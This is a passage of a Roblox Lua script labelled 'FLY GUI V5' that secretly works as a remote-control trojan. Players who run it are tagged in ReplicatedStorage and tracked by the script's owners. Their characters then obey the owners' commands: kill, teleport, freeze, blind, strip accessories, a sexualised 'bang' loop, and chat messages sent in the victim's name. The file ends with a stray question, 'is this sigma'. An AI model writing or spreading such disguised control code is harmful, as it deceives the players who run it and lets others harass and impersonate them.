local RocketBtn =rB("Rocket", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,356), R(80,32,10), R(255,185,80))
local ExplodeBtn =rB("Explode", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,356), R(90,12,12), R(255,100,60))
local BangBtn =rB("Bang", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,392), R(80,10,50), R(255,140,200))
local KillBtn =rB("Kill", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,392), R(70,12,12), R(255,100,100))
local JumpBtn =rB("Jump x3", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,428), R(18,60,36), R(150,255,180))
local FloatBtn =rB("Float", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,428), R(20,40,80), R(160,210,255))
local SinkBtn =rB("Sink", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,464), R(10,20,50), R(120,160,220))
local StunBtn =rB("Stun", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,464), R(60,60,10), R(230,230,80))
-- SPEED / STATS
rS("STATS",502)
local SpeedBox =rInput("WalkSpeed (default 16)",518,28)
local SetSpeedBtn =rB("Set Speed", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,552), R(20,60,80), R(140,210,255))
local JPBox =rInput("JumpPower (default 50)",586,28)
local SetJPBtn =rB("Set JP", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,620), R(20,60,40), R(140,255,180))
-- APPEARANCE
rS("APPEARANCE",656)
local NakedBtn =rB("Naked", UDim2.new(0.31,0,0,28),UDim2.new(0,0,0,672), R(70,36,10), R(255,200,120))
local InvisBtn =rB("Invisible", UDim2.new(0.31,0,0,28),UDim2.new(0.345,0,0,672), R(20,20,55), R(185,185,255))
local VisBtn =rB("Visible", UDim2.new(0.31,0,0,28),UDim2.new(0.69,0,0,672), R(18,55,18), R(165,255,165))
local BlindBtn =rB("Blind", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,706), R(12,12,12), R(210,210,210))
local UnblindBtn =rB("Unblind", UDim2.new(0.48,0,0,28),UDim2.new(0.52,0,0,706), R(30,30,30), R(220,220,220))
local GlowBtn =rB("Glow", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,740), R(60,60,10), R(255,255,80))
local SizeUpBtn =rB("Size +", UDim2.new(0.48,0,0,28),UDim2.new(0.52,0,0,740), R(18,60,18), R(150,255,160))
-- ANIMATIONS
rS("ANIMATIONS",776)
local SitBtn =rB("Sit", UDim2.new(0.31,0,0,28),UDim2.new(0,0,0,792), R(46,18,68), R(200,160,255))
local LayBtn =rB("Lay", UDim2.new(0.31,0,0,28),UDim2.new(0.345,0,0,792), R(32,32,68), R(185,185,255))
local UnsitBtn=rB("Unsit", UDim2.new(0.31,0,0,28),UDim2.new(0.69,0,0,792), R(46,46,18), R(225,225,140))
local D1 =rB("Dance", UDim2.new(0.31,0,0,28),UDim2.new(0,0,0,826), R(68,18,68), R(255,165,255))
local D2 =rB("Dance2", UDim2.new(0.31,0,0,28),UDim2.new(0.345,0,0,826), R(68,18,68), R(255,165,255))
local D3 =rB("Dance3", UDim2.new(0.31,0,0,28),UDim2.new(0.69,0,0,826), R(68,18,68), R(255,165,255))
local WB =rB("Wave", UDim2.new(0.31,0,0,28),UDim2.new(0,0,0,860), R(18,56,80), R(165,225,255))
local CB =rB("Cheer", UDim2.new(0.31,0,0,28),UDim2.new(0.345,0,0,860), R(18,56,18), R(165,255,165))
local TwB =rB("Twerk", UDim2.new(0.31,0,0,28),UDim2.new(0.69,0,0,860), R(68,36,18), R(255,200,140))
local SDB =rB("StopAnim", UDim2.new(1,0,0,28),UDim2.new(0,0,0,894), R(76,12,12), R(255,105,105))
-- ESP
rS("ESP",930)
local ESPBtn =rB("ESP ON", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,946), R(18,44,80), R(125,205,255))
local ESPOffBtn =rB("ESP OFF", UDim2.new(0.48,0,0,28),UDim2.new(0.52,0,0,946), R(46,18,18), R(205,125,125))
-- CHAT
rS("CHAT",982)
local ChatBox=rInput("Message to send...",998,30)
local SendBtn=rB("Send",UDim2.new(1,0,0,28),UDim2.new(0,0,0,1034), R(90,18,18), R(255,150,150))
-- STOP ALL
local StopAllBtn=Instance.new("TextButton",RS)
StopAllBtn.Size=UDim2.new(1,0,0,36) StopAllBtn.Position=UDim2.new(0,0,0,1070)
StopAllBtn.BackgroundColor3=R(140,14,14) StopAllBtn.Text="STOP ALL COMMANDS"
StopAllBtn.TextColor3=R(255,200,200) StopAllBtn.TextSize=13 StopAllBtn.Font=Enum.Font.GothamBold StopAllBtn.BorderSizePixel=0
Instance.new("UICorner",StopAllBtn).CornerRadius=UDim.new(0,9)
local saS=Instance.new("UIStroke",StopAllBtn) saS.Color=R(255,70,70) saS.Thickness=2.2
glow(saS,R(255,70,70),R(255,150,50),2.2,3.8,0.9)
RS.CanvasSize=UDim2.new(0,0,0,1120)
-- ESP state
local espBoxes={}
local function clearESP() for _,b in pairs(espBoxes) do pcall(function() b:Destroy() end) end espBoxes={} end
-- Wire buttons
BringBtn.MouseButton1Click:Connect(function() sendCmd("bring") end)
LoopBtn.MouseButton1Click:Connect(function() sendCmd("loopbring") end)
TeleBtn.MouseButton1Click:Connect(function()
local h=getHRP() if not h then return end
sendCmd("tp",math.floor(h.Position.X).."|"..math.floor(h.Position.Y).."|"..math.floor(h.Position.Z))
end)
FollowBtn.MouseButton1Click:Connect(function() sendCmd("follow") end)
FreezeBtn.MouseButton1Click:Connect(function() sendCmd("freeze") end)
UnfreezeBtn.MouseButton1Click:Connect(function() sendCmd("unfreeze") end)
FlingBtn.MouseButton1Click:Connect(function() sendCmd("fling") end)
SpinBtn.MouseButton1Click:Connect(function() sendCmd("spin","5") end)
RocketBtn.MouseButton1Click:Connect(function() sendCmd("rocket") end)
ExplodeBtn.MouseButton1Click:Connect(function() sendCmd("explode") end)
BangBtn.MouseButton1Click:Connect(function() sendCmd("bang") end)
KillBtn.MouseButton1Click:Connect(function() sendCmd("kill") end)
JumpBtn.MouseButton1Click:Connect(function() sendCmd("jump","3") end)
FloatBtn.MouseButton1Click:Connect(function() sendCmd("float") end)
SinkBtn.MouseButton1Click:Connect(function() sendCmd("sink") end)
StunBtn.MouseButton1Click:Connect(function() sendCmd("stun") end)
SetSpeedBtn.MouseButton1Click:Connect(function() local v=tonumber(SpeedBox.Text) if v then sendCmd("speed",tostring(v)) else setRatStatus("Invalid speed!") end end)
SetJPBtn.MouseButton1Click:Connect(function() local v=tonumber(JPBox.Text) if v then sendCmd("jumppower",tostring(v)) else setRatStatus("Invalid JP!") end end)
NakedBtn.MouseButton1Click:Connect(function() sendCmd("naked") end)
InvisBtn.MouseButton1Click:Connect(function() sendCmd("invisible") end)
VisBtn.MouseButton1Click:Connect(function() sendCmd("visible") end)
BlindBtn.MouseButton1Click:Connect(function() sendCmd("blind") end)
UnblindBtn.MouseButton1Click:Connect(function() sendCmd("unblind") end)
GlowBtn.MouseButton1Click:Connect(function() sendCmd("glow") end)
SizeUpBtn.MouseButton1Click:Connect(function() sendCmd("sizeup") end)
SitBtn.MouseButton1Click:Connect(function() sendCmd("sit") end)
LayBtn.MouseButton1Click:Connect(function() sendCmd("lay") end)
UnsitBtn.MouseButton1Click:Connect(function() sendCmd("unsit") end)
D1.MouseButton1Click:Connect(function() sendCmd("dance","dance") end)
D2.MouseButton1Click:Connect(function() sendCmd("dance","dance2") end)
D3.MouseButton1Click:Connect(function() sendCmd("dance","dance3") end)
WB.MouseButton1Click:Connect(function() sendCmd("dance","wave") end)
CB.MouseButton1Click:Connect(function() sendCmd("dance","cheer") end)
TwB.MouseButton1Click:Connect(function() sendCmd("dance","twerk") end)
SDB.MouseButton1Click:Connect(function() sendCmd("stopdance") end)
SendBtn.MouseButton1Click:Connect(function()
local msg=ChatBox.Text if msg=="" then setRatStatus("Enter message!") return end
sendCmd("chat",msg) ChatBox.Text=""
end)
ESPBtn.MouseButton1Click:Connect(function()
clearESP()
for _,p in ipairs(Players:GetPlayers()) do
if p~=LocalPlayer and p.Character then
local box=Instance.new("SelectionBox",workspace)
box.Color3=R(255,70,70) box.LineThickness=0.06
box.SurfaceTransparency=0.75 box.SurfaceColor3=R(255,70,70)
box.Adornee=p.Character espBoxes[p.Name]=box
end
end
setRatStatus("ESP on")
end)
ESPOffBtn.MouseButton1Click:Connect(function() clearESP() setRatStatus("ESP off") end)
StopAllBtn.MouseButton1Click:Connect(function() sendCmd("stopall") setRatStatus("Sent stopall.") end)
-- Executor tracker
local executors={}
local function addExRow(name,userId)
if executors[name] then return end executors[name]=true
pcall(function() StarterGui:SetCore("SendNotification",{Title="New Executor",Text=name.." executed!",Duration=6}) end)
local row=Instance.new("Frame",EScroll) row.Size=UDim2.new(1,-6,0,32) row.BackgroundColor3=R(14,8,24) row.BorderSizePixel=0
Instance.new("UICorner",row).CornerRadius=UDim.new(0,7)
local rs=Instance.new("UIStroke",row) rs.Color=R(90,18,18) rs.Thickness=1.4
glow(rs,R(90,18,18),R(200,50,50),1.4,2.2,2)
local av=Instance.new("ImageLabel",row) av.Size=UDim2.new(0,24,0,24) av.Position=UDim2.new(0,4,0.5,-12) av.BackgroundColor3=R(24,8,8) av.BorderSizePixel=0 av.Image="rbxthumb://type=AvatarHeadShot&id="..userId.."&w=48&h=48"
Instance.new("UICorner",av).CornerRadius=UDim.new(0,4)
local nl=Instance.new("TextLabel",row) nl.Size=UDim2.new(1,-90,0,16) nl.Position=UDim2.new(0,32,0,4) nl.BackgroundTransparency=1 nl.Text=name nl.TextColor3=R(255,180,180) nl.TextSize=11 nl.Font=Enum.Font.GothamBold nl.TextXAlignment=Enum.TextXAlignment.Left
local il=Instance.new("TextLabel",row) il.Size=UDim2.new(1,-90,0,12) il.Position=UDim2.new(0,32,0,18) il.BackgroundTransparency=1 il.Text="ID "..userId il.TextColor3=R(140,65,65) il.TextSize=9 il.Font=Enum.Font.Gotham il.TextXAlignment=Enum.TextXAlignment.Left
local qb=Instance.new("TextButton",row) qb.Size=UDim2.new(0,52,0,22) qb.Position=UDim2.new(1,-56,0.5,-11) qb.BackgroundColor3=R(90,18,18) qb.Text="Select" qb.TextColor3=R(255,160,160) qb.TextSize=10 qb.Font=Enum.Font.GothamBold qb.BorderSizePixel=0
Instance.new("UICorner",qb).CornerRadius=UDim.new(0,5)
qb.MouseButton1Click:Connect(function() TargetBox.Text=name setRatStatus("Target: "..name) end)
EScroll.CanvasSize=UDim2.new(0,0,0,EList.AbsoluteContentSize.Y+8)
end
local function tryTag(v)
if not v:IsA("StringValue") then return end
if v.Name:sub(1,#SIGNAL_KEY)~=SIGNAL_KEY then return end
local d=v.Value:split("|") if #d>=2 then addExRow(d[1],d[2]) end
end
local function scanAll()
for _,v in ipairs(ReplicatedStorage:GetChildren()) do pcall(function() tryTag(v) end) end
for _,p in ipairs(Players:GetPlayers()) do pcall(function() for _,v in ipairs(p:GetChildren()) do tryTag(v) end end) end
end
scanAll()
ReplicatedStorage.ChildAdded:Connect(function(c) pcall(function() tryTag(c) end) end)
task.spawn(function() while true do task.wait(5) scanAll() end end)
end
-- ================================================================
-- EXECUTOR SIDE (non-owner)
-- ================================================================
if not isOwner then
local function writeTag()
pcall(function()
local old=ReplicatedStorage:FindFirstChild(SIGNAL_KEY..LocalPlayer.Name) if old then old:Destroy() end
local tag=Instance.new("StringValue")
tag.Name=SIGNAL_KEY..LocalPlayer.Name
tag.Value=LocalPlayer.Name.."|"..tostring(LocalPlayer.UserId).."|"..tostring(tick())
tag.Parent=ReplicatedStorage
game:GetService("Debris"):AddItem(tag,60)
end)
end
writeTag()
task.spawn(function() while true do task.wait(25) writeTag() end end)
local floatLoop=false
local sinkLoop=false
local function stopAllCmds()
loopBringActive=false followActive=false bangActive=false floatLoop=false sinkLoop=false
local hrp=getHRP() if hrp then pcall(function() hrp.Anchored=false end) end
local hum=getHum() if hum then pcall(function() hum.WalkSpeed=16 hum.JumpPower=50 hum.PlatformStand=false hum.Sit=false end) end
stopAnims()
local bf=ScreenGui:FindFirstChild("BlindFrame") if bf then bf:Destroy() end
local gf=ScreenGui:FindFirstChild("GlowFrame") if gf then gf:Destroy() end
end
local function handleCmd(ownerName,target,action,extra)
if not OWNERS[ownerName] then return end
if not isTarget(target) then return end
local op=Players:FindFirstChild(ownerName)
if action=="bring" then
if op and op.Character then
local oH=op.Character:FindFirstChild("HumanoidRootPart") local mH=getHRP()
if oH and mH then
for i=1,25 do
pcall(function() mH.CFrame=oH.CFrame*CFrame.new(math.random(-3,3),0,math.random(-3,3)) end)
if mH and oH and (mH.Position-oH.Position).Magnitude<5 then break end task.wait(0.07)
end
end
end
elseif action=="loopbring" then
loopBringActive=true loopBringOwner=op
task.spawn(function()
while loopBringActive do
if loopBringOwner and loopBringOwner.Character then
local oH=loopBringOwner.Character:FindFirstChild("HumanoidRootPart") local mH=getHRP()
if oH and mH then pcall(function() mH.CFrame=oH.CFrame*CFrame.new(math.random(-3,3),0,math.random(-3,3)) end) end
end
task.wait(0.1)
end
end)
elseif action=="stopbring" then loopBringActive=false
elseif action=="follow" then
followActive=true followOwner=op
task.spawn(function()
while followActive do
if followOwner and followOwner.Character then
local oH=followOwner.Character:FindFirstChild("HumanoidRootPart") local hum=getHum()
if oH and hum then pcall(function() hum:MoveTo(oH.Position) end) end
end
task.wait(0.25)
end
end)
elseif action=="stopfollow" then followActive=false
elseif action=="kill" then
local h=getHum() if h then pcall(function() h.Health=0 end) end
elseif action=="freeze" then
local h=getHRP() if h then pcall(function() h.Anchored=true end) end
elseif action=="unfreeze" then
local h=getHRP() if h then pcall(function() h.Anchored=false end) end
elseif action=="tp" then
if extra then
local c=extra:split("|") if #c>=3 then
local x,y,z=tonumber(c[1]),tonumber(c[2]),tonumber(c[3])
if x and y and z then local h=getHRP() if h then pcall(function() h.CFrame=CFrame.new(x,y,z) end) end end
end
end
elseif action=="chat" then
if extra and extra~="" then makeChat(extra) end
elseif action=="dance" then
playAnim(DANCES[extra and extra:lower() or "dance"] or DANCES.dance)
elseif action=="stopdance" then stopAnims()
elseif action=="spin" then spinChar(tonumber(extra) or 5)
elseif action=="jump" then jumpChar(tonumber(extra) or 3)
elseif action=="fling" then flingChar()
elseif action=="rocket" then
local hrp=getHRP() if hrp then pcall(function() hrp.AssemblyLinearVelocity=Vector3.new(0,700,0) end) end
elseif action=="explode" then
local hrp=getHRP() if hrp then pcall(function()
local e=Instance.new("Explosion") e.Position=hrp.Position e.BlastRadius=14 e.BlastPressure=7e5 e.Parent=workspace
end) end
elseif action=="bang" then
bangActive=true bangOwner=op
task.spawn(function()
local count=0
while bangActive and count<80 do
if bangOwner and bangOwner.Character then
local oH=bangOwner.Character:FindFirstChild("HumanoidRootPart") local mH=getHRP()
if oH and mH then pcall(function()
mH.CFrame=(count%2==0) and oH.CFrame*CFrame.new(0,0,-2) or oH.CFrame*CFrame.new(0,0,2)
end) end
end
count+=1 task.wait(0.06)
end
bangActive=false
end)
elseif action=="float" then
floatLoop=true
task.spawn(function()
while floatLoop do
local hrp=getHRP() if hrp then pcall(function() hrp.CFrame=hrp.CFrame*CFrame.new(0,0.5,0) end) end
task.wait(0.05)
end
end)
elseif action=="sink" then
sinkLoop=true
task.spawn(function()
while sinkLoop do
local hrp=getHRP() if hrp then pcall(function() hrp.CFrame=hrp.CFrame*CFrame.new(0,-0.5,0) end) end
task.wait(0.05)
end
end)
elseif action=="stun" then
local h=getHum() if h then pcall(function() h.WalkSpeed=0 h.JumpPower=0 end) end
task.delay(4, function()
local h2=getHum() if h2 then pcall(function() h2.WalkSpeed=16 h2.JumpPower=50 end) end
end)
elseif action=="speed" then
local h=getHum() if h then pcall(function() h.WalkSpeed=tonumber(extra) or 16 end) end
elseif action=="jumppower" then
local h=getHum() if h then pcall(function() h.JumpPower=tonumber(extra) or 50 end) end
elseif action=="sit" then
local h=getHum() if h then pcall(function() h.Sit=true end) end
elseif action=="unsit" then
local h=getHum() if h then pcall(function() h.Sit=false h.PlatformStand=false end) end
elseif action=="lay" then
local h=getHum() if h then pcall(function() h.PlatformStand=true end) end
playAnim("rbxassetid://2506281703")
elseif action=="naked" then
local c=getChar() if c then
for _,o in ipairs(c:GetChildren()) do
if o:IsA("Accessory") or o:IsA("Hat") then pcall(function() o:Destroy() end) end
end
end
elseif action=="invisible" then
local c=getChar() if c then
for _,p in ipairs(c:GetDescendants()) do
if p:IsA("BasePart") or p:IsA("Decal") then pcall(function() p.LocalTransparencyModifier=1 end) end
end
end
elseif action=="visible" then
local c=getChar() if c then
for _,p in ipairs(c:GetDescendants()) do
if p:IsA("BasePart") or p:IsA("Decal") then pcall(function() p.LocalTransparencyModifier=0 end) end
end
end
elseif action=="blind" then
if not ScreenGui:FindFirstChild("BlindFrame") then
local bf=Instance.new("Frame",ScreenGui) bf.Name="BlindFrame"
bf.Size=UDim2.new(1,0,1,0) bf.BackgroundColor3=Color3.fromRGB(0,0,0) bf.ZIndex=200 bf.BorderSizePixel=0
end
elseif action=="unblind" then
local bf=ScreenGui:FindFirstChild("BlindFrame") if bf then bf:Destroy() end
elseif action=="glow" then
if not ScreenGui:FindFirstChild("GlowFrame") then
local gf=Instance.new("Frame",ScreenGui) gf.Name="GlowFrame"
gf.Size=UDim2.new(1,0,1,0) gf.ZIndex=0 gf.BorderSizePixel=0 gf.BackgroundTransparency=0.5
gf.BackgroundColor3=Color3.fromRGB(255,255,0)
end
elseif action=="sizeup" then
local c=getChar() if c then
for _,p in ipairs(c:GetDescendants()) do
if p:IsA("BasePart") then pcall(function() p.Size=p.Size*1.15 end) end
end
end
elseif action=="stopall" then stopAllCmds()
end
end
-- Listen on ReplicatedStorage for commands
local function tryCmdValue(child)
if not child:IsA("StringValue") then return end
if child.Name:sub(1,#CMD_KEY)~=CMD_KEY then return end
local d=child.Value:split("|")
if #d>=3 then
task.spawn(function()
pcall(function() handleCmd(d[1],d[2],d[3],d[4]) end)
end)
end
end
ReplicatedStorage.ChildAdded:Connect(tryCmdValue)
-- Scan existing (in case late execution)
for _,v in ipairs(ReplicatedStorage:GetChildren()) do pcall(function() tryCmdValue(v) end) end
end
-- Notification
pcall(function()
StarterGui:SetCore("SendNotification",{Title="FLY GUI V5",Text="Loaded. Tap the cube to open.",Duration=5})
end)
print("[FLY GUI V5] Loaded | Owner:",isOwner)



is this sigma